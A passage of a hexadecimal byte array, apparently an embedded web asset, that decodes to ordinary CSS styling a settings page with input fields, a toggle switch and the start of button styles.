0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, + 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, + 0x6F, 0x6E, 0x20, 0x3E, 0x20, 0x3A, 0x6C, 0x61, 0x73, 0x74, 0x2D, 0x63, + 0x68, 0x69, 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, + 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x30, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x40, 0x6D, 0x65, 0x64, 0x69, 0x61, 0x20, 0x28, 0x6D, 0x61, 0x78, 0x2D, + 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x37, 0x36, 0x38, 0x70, 0x78, + 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, + 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3A, 0x20, + 0x31, 0x20, 0x31, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, + 0x61, 0x62, 0x65, 0x6C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, + 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, + 0x6F, 0x6D, 0x3A, 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, + 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x36, 0x70, + 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2E, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, + 0x70, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, + 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x32, 0x34, 0x70, 0x78, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x61, 0x6C, 0x69, 0x67, + 0x6E, 0x3A, 0x20, 0x6C, 0x65, 0x66, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x69, 0x6E, 0x70, 0x75, + 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x3A, 0x68, 0x61, 0x73, 0x28, + 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, + 0x66, 0x69, 0x6C, 0x65, 0x22, 0x5D, 0x29, 0x2C, 0x20, 0x2E, 0x69, 0x6E, + 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x3A, 0x68, 0x61, + 0x73, 0x28, 0x2E, 0x74, 0x6F, 0x67, 0x67, 0x6C, 0x65, 0x2D, 0x73, 0x77, + 0x69, 0x74, 0x63, 0x68, 0x29, 0x2C, 0x20, 0x2E, 0x69, 0x6E, 0x70, 0x75, + 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x3A, 0x68, 0x61, 0x73, 0x28, + 0x2E, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2D, 0x77, 0x72, 0x61, 0x70, + 0x70, 0x65, 0x72, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, + 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6A, 0x75, 0x73, 0x74, 0x69, 0x66, 0x79, 0x2D, 0x63, 0x6F, 0x6E, 0x74, + 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x73, 0x70, 0x61, 0x63, 0x65, 0x2D, 0x62, + 0x65, 0x74, 0x77, 0x65, 0x65, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, + 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, + 0x22, 0x5D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, + 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x5D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, + 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x22, + 0x5D, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, + 0x61, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, + 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, + 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x30, 0x70, 0x78, 0x20, 0x31, 0x35, 0x70, + 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x66, 0x61, 0x6D, + 0x69, 0x6C, 0x79, 0x3A, 0x20, 0x69, 0x6E, 0x68, 0x65, 0x72, 0x69, 0x74, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, + 0x3A, 0x20, 0x31, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, + 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, + 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x67, 0x72, 0x61, + 0x64, 0x69, 0x65, 0x6E, 0x74, 0x2D, 0x32, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, + 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, + 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x67, + 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x2D, 0x32, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, + 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, + 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x36, 0x70, 0x78, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x74, 0x6F, 0x70, 0x3A, + 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, + 0x69, 0x7A, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, + 0x72, 0x2D, 0x62, 0x6F, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, + 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x62, 0x6F, 0x72, 0x64, + 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, + 0x73, 0x2C, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, + 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, + 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, + 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, + 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x22, 0x5D, 0x3A, 0x66, 0x6F, 0x63, + 0x75, 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, + 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x5D, 0x3A, 0x66, 0x6F, 0x63, 0x75, + 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x22, 0x5D, 0x3A, 0x66, 0x6F, 0x63, 0x75, + 0x73, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x3A, 0x66, 0x6F, 0x63, 0x75, 0x73, + 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, + 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, 0x61, 0x3A, 0x66, 0x6F, 0x63, 0x75, + 0x73, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, + 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, + 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, + 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, + 0x23, 0x31, 0x61, 0x30, 0x64, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x75, + 0x74, 0x6C, 0x69, 0x6E, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, + 0x2A, 0x20, 0x54, 0x6F, 0x67, 0x67, 0x6C, 0x65, 0x20, 0x53, 0x77, 0x69, + 0x74, 0x63, 0x68, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, 0x67, 0x67, 0x6C, 0x65, 0x2D, + 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, + 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x72, 0x65, 0x6C, 0x61, + 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, + 0x3A, 0x20, 0x36, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x69, + 0x67, 0x68, 0x74, 0x3A, 0x20, 0x33, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, + 0x67, 0x67, 0x6C, 0x65, 0x2D, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x20, + 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x70, 0x61, + 0x63, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, + 0x64, 0x74, 0x68, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x69, + 0x67, 0x68, 0x74, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x6C, 0x69, 0x64, 0x65, + 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, + 0x6E, 0x3A, 0x20, 0x61, 0x62, 0x73, 0x6F, 0x6C, 0x75, 0x74, 0x65, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, + 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, + 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, + 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x61, 0x63, 0x63, 0x65, + 0x6E, 0x74, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, + 0x73, 0x3A, 0x20, 0x33, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x6F, + 0x70, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x66, 0x74, 0x3A, + 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, + 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, + 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, + 0x6F, 0x6E, 0x3A, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, + 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x34, + 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2E, 0x73, 0x6C, 0x69, 0x64, 0x65, 0x72, 0x3A, 0x62, 0x65, 0x66, + 0x6F, 0x72, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, + 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x62, 0x73, 0x6F, 0x6C, 0x75, 0x74, + 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, + 0x20, 0x22, 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, + 0x20, 0x32, 0x32, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, + 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, + 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, + 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, + 0x75, 0x73, 0x3A, 0x20, 0x35, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, + 0x66, 0x74, 0x3A, 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, + 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x61, 0x73, 0x70, 0x65, 0x63, 0x74, 0x2D, 0x72, 0x61, 0x74, 0x69, 0x6F, + 0x3A, 0x20, 0x31, 0x20, 0x2F, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, + 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x74, 0x72, + 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x20, 0x30, 0x2E, 0x34, 0x73, + 0x2C, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, + 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x34, 0x73, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, + 0x6E, 0x70, 0x75, 0x74, 0x3A, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x64, + 0x20, 0x2B, 0x20, 0x2E, 0x73, 0x6C, 0x69, 0x64, 0x65, 0x72, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, + 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, + 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, + 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x3A, 0x63, 0x68, + 0x65, 0x63, 0x6B, 0x65, 0x64, 0x20, 0x2B, 0x20, 0x2E, 0x73, 0x6C, 0x69, + 0x64, 0x65, 0x72, 0x3A, 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, + 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, + 0x2D, 0x2D, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, + 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, + 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, 0x72, 0x61, + 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x58, 0x28, 0x32, 0x38, 0x70, 0x78, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x2F, 0x2A, 0x20, 0x42, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x73, 0x20, + 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, + 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x72, 0x67, + 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 